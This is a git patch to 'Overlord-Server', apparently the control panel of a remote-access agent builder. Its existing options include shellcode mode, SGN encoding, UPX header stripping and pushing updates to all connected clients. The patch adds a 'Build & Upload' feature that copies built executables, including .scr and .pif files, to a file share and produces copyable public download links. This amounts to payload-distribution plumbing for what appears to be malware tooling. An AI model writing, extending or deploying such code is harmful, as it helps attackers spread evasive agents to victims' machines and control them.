From 7574988e3b8e879cabad8a9f282d20ce3e67d9f8 Mon Sep 17 00:00:00 2001 From: KingKDot Date: Sun, 17 May 2026 19:49:50 -0500 Subject: [PATCH] give the ability to auto upload builds --- Overlord-Server/public/assets/build.js | 99 ++++++++++++ Overlord-Server/public/build.html | 6 + Overlord-Server/src/main-server.ts | 1 + Overlord-Server/src/server/build-process.ts | 149 +++++++++++++++++- .../src/server/routes/build-routes.ts | 11 ++ 5 files changed, 265 insertions(+), 1 deletion(-) diff --git a/Overlord-Server/public/assets/build.js b/Overlord-Server/public/assets/build.js index fa4b5c0..4cf2030 100644 --- a/Overlord-Server/public/assets/build.js +++ b/Overlord-Server/public/assets/build.js @@ -1584,6 +1584,7 @@ form?.addEventListener("submit", async (e) => { shellcodeConsole: document.getElementById("shellcode-console")?.checked || false, useSgn: document.getElementById("sgn-mode")?.checked || false, sgnIterations: parseInt(document.getElementById("sgn-iterations")?.value, 10) || 1, + uploadToFileShare: pendingUpload, }; const hasAndroid = platforms.some(p => p.startsWith('android-')); @@ -1637,6 +1638,10 @@ async function startBuild(config) { buildUpdateAllBtn.disabled = true; buildUpdateAllBtn.innerHTML = ' Building...'; } + if (buildUploadBtn) { + buildUploadBtn.disabled = true; + buildUploadBtn.innerHTML = ' Building...'; + } buildStatus.classList.remove("hidden"); buildStatusText.textContent = "Starting build..."; @@ -1693,6 +1698,11 @@ async function startBuild(config) { buildUpdateAllBtn.disabled = false; buildUpdateAllBtn.innerHTML = ' Build & Update All'; } + if (buildUploadBtn) { + buildUploadBtn.disabled = false; + buildUploadBtn.innerHTML = ' Build & Upload'; + } + pendingUpload = false; } } @@ -1711,6 +1721,7 @@ async function streamBuildOutput(buildId, config = {}) { const RECONNECT_DELAY_MS = 2000; let attempts = 0; let completed = false; + const uploadedShareFiles = []; while (!completed && attempts <= MAX_RECONNECT_ATTEMPTS) { if (attempts > 0) { @@ -1814,6 +1825,13 @@ async function streamBuildOutput(buildId, config = {}) { addBuildOutput(data.text, data.level || "info"); } else if (data.type === "status") { buildStatusText.textContent = data.text; + } else if (data.type === "file_share_uploaded") { + uploadedShareFiles.push({ + id: data.id, + filename: data.filename, + platform: data.platform, + size: data.size, + }); } else if (data.type === "complete") { buildStatusText.textContent = data.success ? "Build completed successfully!" @@ -1845,6 +1863,10 @@ async function streamBuildOutput(buildId, config = {}) { buildResults.classList.remove("hidden"); displayBuild(buildData); + if (uploadedShareFiles.length > 0) { + renderShareLinksPanel(uploadedShareFiles); + } + // Auto-push update if "Build & Update All" was used if (pendingUpdateAll) { pendingUpdateAll = false; @@ -1919,6 +1941,68 @@ function addBuildOutput(text, level = "info") { buildOutputDiv.appendChild(span); } +function renderShareLinksPanel(items) { + const existing = document.getElementById("build-share-links"); + if (existing) existing.remove(); + + const panel = document.createElement("div"); + panel.id = "build-share-links"; + panel.className = + "mt-3 p-3 bg-emerald-950/30 border border-emerald-700/50 rounded-lg space-y-2"; + + const header = document.createElement("div"); + header.className = "flex items-center gap-2 text-sm font-medium text-emerald-300"; + header.innerHTML = + 'Uploaded to File Share' + + `(${items.length})`; + panel.appendChild(header); + + for (const item of items) { + const url = `${window.location.origin}/api/file-share/${item.id}/download`; + + const row = document.createElement("div"); + row.className = "flex items-center gap-2 text-xs"; + + const label = document.createElement("span"); + label.className = "text-slate-400 shrink-0"; + label.textContent = item.platform || item.filename; + + const input = document.createElement("input"); + input.type = "text"; + input.readOnly = true; + input.value = url; + input.className = + "flex-1 bg-slate-900 border border-slate-700 rounded px-2 py-1 text-slate-200 font-mono select-all"; + input.addEventListener("focus", () => input.select()); + + const copyBtn = document.createElement("button"); + copyBtn.type = "button"; + copyBtn.className = + "px-2 py-1 rounded bg-emerald-700 hover:bg-emerald-600 text-white text-xs flex items-center gap-1 shrink-0"; + copyBtn.innerHTML = 'Copy'; + copyBtn.addEventListener("click", async () => { + try { + await navigator.clipboard.writeText(url); + copyBtn.innerHTML = 'Copied'; + if (window.showToast) window.showToast("Download link copied to clipboard", "success"); + setTimeout(() => { + copyBtn.innerHTML = 'Copy'; + }, 1500); + } catch { + input.select(); + document.execCommand?.("copy"); + } + }); + + row.appendChild(label); + row.appendChild(input); + row.appendChild(copyBtn); + panel.appendChild(row); + } + + buildFilesDiv.appendChild(panel); +} + function showBuildFiles(files, buildId, expiresAt) { buildResults.classList.remove("hidden"); buildFilesDiv.innerHTML = ""; @@ -2332,6 +2416,8 @@ const updateAllConfirm = document.getElementById("update-all-confirm"); let pendingUpdateAll = false; let pendingUpdateHideWindow = false; +let pendingUpload = false; +const buildUploadBtn = document.getElementById("build-upload-btn"); function showUpdateAllModal() { if (!updateAllModal) return; @@ -2428,6 +2514,19 @@ if (updateAllConfirm) { }); } +if (buildUploadBtn) { + buildUploadBtn.addEventListener("click", () => { + if (isBuilding) return; + const platformCheckboxes = form.querySelectorAll('input[name="platform"]:checked'); + if (platformCheckboxes.length === 0) { + alert("Please select at least one platform to build"); + return; + } + pendingUpload = true; + form.requestSubmit(); + }); +} + async function pushUpdateToAllClients(buildId, hideWindow) { addBuildOutput("\n── Pushing update to all eligible clients ──\n", "info"); diff --git a/Overlord-Server/public/build.html b/Overlord-Server/public/build.html index 49c0a78..0957f0b 100644 --- a/Overlord-Server/public/build.html +++ b/Overlord-Server/public/build.html @@ -761,6 +761,12 @@ Build & Update All + + diff --git a/Overlord-Server/src/main-server.ts b/Overlord-Server/src/main-server.ts index 6a4205b..5fe2546 100644 --- a/Overlord-Server/src/main-server.ts +++ b/Overlord-Server/src/main-server.ts @@ -251,6 +251,7 @@ const startBuildProcess = (buildId: string, buildConfig: any) => runBuildProcess(buildId, buildConfig, { generateBuildMutex, sanitizeOutputName, + fileShareRoot: FILE_SHARE_ROOT, }); const pendingHttpDownloads = new Map(); diff --git a/Overlord-Server/src/server/build-process.ts b/Overlord-Server/src/server/build-process.ts index 57c9443..01d43c3 100644 --- a/Overlord-Server/src/server/build-process.ts +++ b/Overlord-Server/src/server/build-process.ts @@ -2,7 +2,8 @@ import { $ } from "bun"; import path from "path"; import fs from "fs"; import { v4 as uuidv4 } from "uuid"; -import { saveBuild } from "../db"; +import { saveBuild, insertSharedFile, type SharedFileRecord } from "../db"; +import { getUserById, canUploadFiles } from "../users"; import { logger } from "../logger"; import { getConfig } from "../config"; import { signBuildToken } from "./build-signing"; @@ -117,6 +118,7 @@ type BuildProcessConfig = { solRpcEndpoints?: string; iosBundleId?: string; fetchPublicIP?: boolean; + uploadToFileShare?: boolean; }; @@ -148,8 +150,128 @@ function stripUpxHeaders(filePath: string): boolean { type BuildProcessDeps = { generateBuildMutex: (length?: number) => string; sanitizeOutputName: (name: string) => string; + fileShareRoot?: string; }; +function guessMimeTypeForUpload(filename: string): string { + const ext = path.extname(filename).toLowerCase(); + switch (ext) { + case ".exe": + case ".dll": + case ".scr": + case ".com": + case ".pif": + return "application/vnd.microsoft.portable-executable"; + case ".bat": + case ".cmd": + return "application/bat"; + case ".bin": + return "application/octet-stream"; + case ".ipa": + return "application/octet-stream"; + case ".sgn": + return "application/octet-stream"; + default: + return "application/octet-stream"; + } +} + +async function uploadBuildFilesToFileShare( + build: BuildStream, + outDir: string, + fileShareRoot: string, + userId: number, + sendToStream: (data: any) => void, +): Promise { + const dbUser = getUserById(userId); + if (!dbUser) { + sendToStream({ + type: "output", + text: "WARNING: Skipping file-share upload — uploading user not found.\n", + level: "warn", + }); + return; + } + if (!canUploadFiles(dbUser.id, dbUser.role)) { + sendToStream({ + type: "output", + text: "WARNING: Skipping file-share upload — you do not have upload permission.\n", + level: "warn", + }); + return; + } + + await fs.promises.mkdir(fileShareRoot, { recursive: true }); + + sendToStream({ type: "status", text: "Uploading build to file share..." }); + sendToStream({ + type: "output", + text: `\n── Uploading ${build.files.length} file(s) to file share ──\n`, + level: "info", + }); + + for (const file of build.files as any[]) { + const filename: string = file.filename || file.name; + if (!filename) continue; + const sourcePath = path.join(outDir, filename); + if (!fs.existsSync(sourcePath)) { + sendToStream({ + type: "output", + text: `WARNING: Build output not found on disk for upload: ${filename}\n`, + level: "warn", + }); + continue; + } + try { + const id = uuidv4(); + const folder = path.join(fileShareRoot, id); + await fs.promises.mkdir(folder, { recursive: true }); + const targetPath = path.join(folder, filename); + await fs.promises.copyFile(sourcePath, targetPath); + const size = fs.statSync(targetPath).size; + + const record: SharedFileRecord = { + id, + filename, + storedPath: targetPath, + size, + mimeType: guessMimeTypeForUpload(filename), + uploadedBy: dbUser.id, + uploadedByUsername: dbUser.username, + passwordHash: null, + maxDownloads: null, + downloadCount: 0, + expiresAt: null, + createdAt: Date.now(), + description: `Build ${build.id.substring(0, 8)} — ${file.platform || "unknown"}`, + }; + insertSharedFile(record); + + logger.info( + `[file-share] ${dbUser.username} uploaded "${filename}" (${size} bytes) id=${id} via build ${build.id.substring(0, 8)}`, + ); + sendToStream({ + type: "output", + text: `Uploaded ${filename} (${size} bytes) → file share id ${id}\n`, + level: "success", + }); + sendToStream({ + type: "file_share_uploaded", + id, + filename, + platform: file.platform || null, + size, + }); + } catch (err: any) { + sendToStream({ + type: "output", + text: `WARNING: Failed to upload ${filename} to file share: ${err.message || err}\n`, + level: "warn", + }); + } + } +} + function detectAgentVersion(clientDir: string): string { try { const configPath = path.join(clientDir, "cmd", "agent", "config", "config.go"); @@ -1267,6 +1389,31 @@ func runBoundFiles() { build.status = "completed"; logger.info(`[build:${buildId.substring(0, 8)}] Build completed successfully! Built ${build.files.length} file(s)`); sendToStream({ type: "output", text: `\n[OK] Build completed successfully!\n`, level: "success" }); + + if (config.uploadToFileShare && config.builtByUserId && deps.fileShareRoot) { + try { + await uploadBuildFilesToFileShare( + build, + outDir, + deps.fileShareRoot, + config.builtByUserId, + sendToStream, + ); + } catch (uploadErr: any) { + sendToStream({ + type: "output", + text: `WARNING: File-share upload failed: ${uploadErr.message || uploadErr}\n`, + level: "warn", + }); + } + } else if (config.uploadToFileShare && !deps.fileShareRoot) { + sendToStream({ + type: "output", + text: "WARNING: File-share upload requested but file share is not configured on this server.\n", + level: "warn", + }); + } + sendToStream({ type: "complete", success: true, files: build.files, buildId, expiresAt: build.expiresAt }); saveBuild({ diff --git a/Overlord-Server/src/server/routes/build-routes.ts b/Overlord-Server/src/server/routes/build-routes.ts index 6ee2d21..1b2cefb 100644 --- a/Overlord-Server/src/server/routes/build-routes.ts +++ b/Overlord-Server/src/server/routes/build-routes.ts @@ -24,6 +24,7 @@ import { logger } from "../../logger"; import { normalizeClientOs } from "../deploy-utils"; import { canUserBuild, recordBuildStart, recordBuildEnd } from "../../build-rate-limit"; import { getConfig } from "../../config"; +import { canUploadFiles } from "../../users"; import { addBuildToBanlist, removeBuildFromBanlist } from "../build-signing"; import path from "path"; import fs from "fs"; @@ -118,6 +119,7 @@ export async function handleBuildRoutes( useSgn, sgnIterations, fetchPublicIP, + uploadToFileShare, } = body; if (!platforms || !Array.isArray(platforms) || platforms.length === 0) { @@ -345,6 +347,14 @@ export async function handleBuildRoutes( safeBoundFiles = validated; } + const safeUploadToFileShare = !!uploadToFileShare; + if (safeUploadToFileShare && !canUploadFiles(user.userId, user.role)) { + return Response.json( + { error: "You do not have permission to upload files" }, + { status: 403 }, + ); + } + const rateLimitActive = getConfig().registration.mode !== "off"; if (rateLimitActive) recordBuildStart(user.userId); @@ -392,6 +402,7 @@ export async function handleBuildRoutes( useSgn: !!useSgn, sgnIterations: Math.max(1, Math.min(50, Math.floor(Number(sgnIterations) || 1))), fetchPublicIP: !!fetchPublicIP, + uploadToFileShare: safeUploadToFileShare, }).finally(() => { if (rateLimitActive) recordBuildEnd(user.userId); });